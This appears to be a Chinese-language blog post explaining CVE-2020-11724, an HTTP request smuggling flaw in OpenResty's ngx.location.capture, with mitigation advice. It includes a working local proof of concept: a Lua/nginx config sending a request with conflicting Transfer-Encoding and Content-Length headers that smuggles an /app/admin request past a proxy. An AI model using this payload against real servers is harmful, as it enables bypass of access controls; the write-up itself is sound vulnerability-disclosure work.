CVE-2020-11724:OpenResty HTTP request smuggling 漏洞

spacewander

OpenResty 最近发布的正式版本 1.17.8.2 修复了安全漏洞 CVE-2020-11724
这个漏洞是一个 HTTP request smuggling 漏洞,可以实现某种程度上的安全防护绕过。

0x01 什么是 HTTP request smuggling

HTTP request smuggling 指利用两台 HTTP 服务器在解析 HTTP 协议的过程中的差异,来构造一个在两台服务器看来不同的请求。通常这样的做法可以用来绕过安全防护,比如发送请求 A 给 Web 防火墙,然后 Web 防火墙代理给后端应用服务器时,让后端服务器误以为是请求 B。

0x02 这次的漏洞长什么样子

先上一个 exploit:

    server {
        listen          1984;
        server_name     'localhost';
        location /test1 {
            content_by_lua_block {
                local res = ngx.location.capture('/backend')
                    ngx.print(res.body) 
            }
        }
        location /app {
            content_by_lua_block {
                ngx.log(ngx.ERR, ngx.var.uri)
            }
        }
        location /backend {
            proxy_http_version 1.1;
            proxy_set_header Connection "";
            proxy_pass http://backend/app/api;
        }
        location /t {
            content_by_lua_block {
                local sock = ngx.socket.tcp()
                    sock:settimeout(500)
                    assert(sock:connect("127.0.0.1", 1984))
                    local req = [[
GET /test1 HTTP/1.1
Host: foo
Transfer-Encoding: chunked
Content-Length: 42

0

GET /test1 HTTP/1.1
Host: foo
X: GET /app/admin HTTP/1.0

]]
                    local ok, err = sock:send(req)
                    if not ok then
                        ngx.say("send request failed: ", err)
                        return
                    end
                    sock:close()
            }
        }
    }
}

为了便于复现,这里我们把 OpenRestry 即当作客户端,也把它当作代理服务器和后端应用。其中 /t 用于作为客户端触发 HTTP 请求,/test1 则是作为代理服务器处理请求。/test1 通过 subrequest 请求了 /backend,而 /backend 作为代理访问了后端应用 /app

请求 127.0.0.1:1984/t 你会看到打印出了两个 uri:

  1. /app/api
  2. /app/admin

也就是说,在后端应用的眼里,由代理服务器代理过来的用户访问了 /app/api 和 /app/admin 两个接口。假设鉴权等操作都在代理服务器上实现,后端应用无条件信任由代理服务器介绍过来的访问,那么用户不仅能访问 /app/api,还获得了对 /app/admin 的访问权限。

那么代理服务器有没有真的对这两个接口做鉴权呢?答案是,它做了一半,还有一半没做。在代理服务器看来,客户端发的两个请求,都是访问 /test1 接口。这两个请求是这样的:

GET /test1 HTTP/1.1
Host: foo
Transfer-Encoding: chunked
Content-Length: 42

0
GET /test1 HTTP/1.1
Host: foo
X: GET /app/admin HTTP/1.0

这两个请求 header 和 body 是不一样,但是好歹还是同一个接口。

然而在后端应用看来,这两个请求是这样的:

GET /app/api HTTP/1.1
Host: backend
Content-Length: 42

0

GET /test1 HTTP/1.1
Host: foo
X: 
GET /app/admin HTTP/1.0

完全是两个不同的请求了!

为什么会这样呢?我们可以看到,虽然代理服务器和后端应用看到的请求不一样,但是它们拼接后的结果都是差不多的,只是后端应用少了个 Transfer-Encoding: chunked 。玄机就在这里。

0x03 Content-Length or Transfer-Encoding,this is a question

妇孺皆知,HTTP 是非常复杂的应用层协议,即使是在这个领域浸淫多年的 Nginx 也未能实现完整的 HTTP 协议。

不过今天我不会带领大家查看 HTTP 协议里面边边角角,而是取看几乎每个 HTTP 请求都会有的报头:Content-LengthTransfer-Encoding。前者表示请求体的大小,后者表示请求体的格式。这两个之间有着这样的关系:如果指定了 Transfer-Encoding 为 chunk,那么请求体的大小会是不确定的,服务端需要读取每一个 chunk,直到读到最后一个 chunk 0\r\n\r\n 为止。即使客户端同时也指定了 Content-Length,服务端也应该以 Transfer-Encoding: chunked 为准。

这给 HTTP 请求的处理带来了一点复杂度,因为一般来说每个 header 之间是独立的。(Expires 和 Cache-Control 是又一个例外)

0x04 ngx.location.capture 缺了什么,以及后端应用扮演的角色

OpenResty 在读取请求的时候,发挥作用的是 Transfer-Encoding: chunked,所以第二个请求会从 0\r\n\r\n 后,即 GET /test1 开始读。可是,在修复了此漏洞之前,ngx.location.capture 并没有一个“如果指定了 Transfer-Encoding: chunked,那么忽略 Content-Length” 的处理。如果两者同时存在,依然还会认为请求体的长度是明确的。这么一来,生成的 subrequest 就会认为有一个长度明确的请求体,发给后端应用的请求是这样的:

GET /app/api HTTP/1.1
Host: backend
Content-Length: 42

...

注意 Transfer-Encoding: chunked 已经消失了。

要想触发这个漏洞,还需要后端应用对连接做 keep alive 的操作。按照 HTTP 协议,后端应用要想复用 TCP 连接,需要保证这个连接上没有残留上个请求的数据。所以即使应用代码里面没有读取请求体的操作,后端应用仍然会丢弃掉整个请求体。而这个请求体的大小是“明确”的,后端应用需要丢弃 42 个字节的内容。被丢弃的 42 个字节,就是代理服务器所认为的第二个请求的开头部分。这样,第二个请求摇身一变,绕过了代理服务器的检查,偷渡成功,露出了本来狰狞的面目。

0x05 结论

这个漏洞的关键在于 ngx.location.capturengx.location.capture_multi在构建 subrequest 时没有处理好 Transfer-Encoding: chunkedContent-Length 同时存在的情况,导致攻击者可以构造虚假的请求体长度。

利用这个漏洞需要有两点:

  1. 调用了 ngx.location.capturengx.location.capture_multi, 外加 proxy_pass 来访问外部服务。
  2. 其他服务启用了 keepalive (对于 HTTP 1.1 这个是默认的)

如果你不能升级到 1.17.8.2,可以考虑在调用 ngx.location.capture 等函数之前,检查 Transfer-Encoding: chunkedContent-Length 是否同时存在,如果是,则去掉 Content-Length 报头。

还有一种处理方式,是 backport https://github.com/openresty/... 这个修复提交到你的 OpenResty 代码里面。

阅读 5.2k

spacewander
这个专栏什么都有,大部分都是关于Linux或后端开发的

make building blocks that people can understand and use easily, and people will work together to ...

5.4k 声望
1.4k 粉丝
0 条评论

make building blocks that people can understand and use easily, and people will work together to ...

5.4k 声望
1.4k 粉丝
文章目录
宣传栏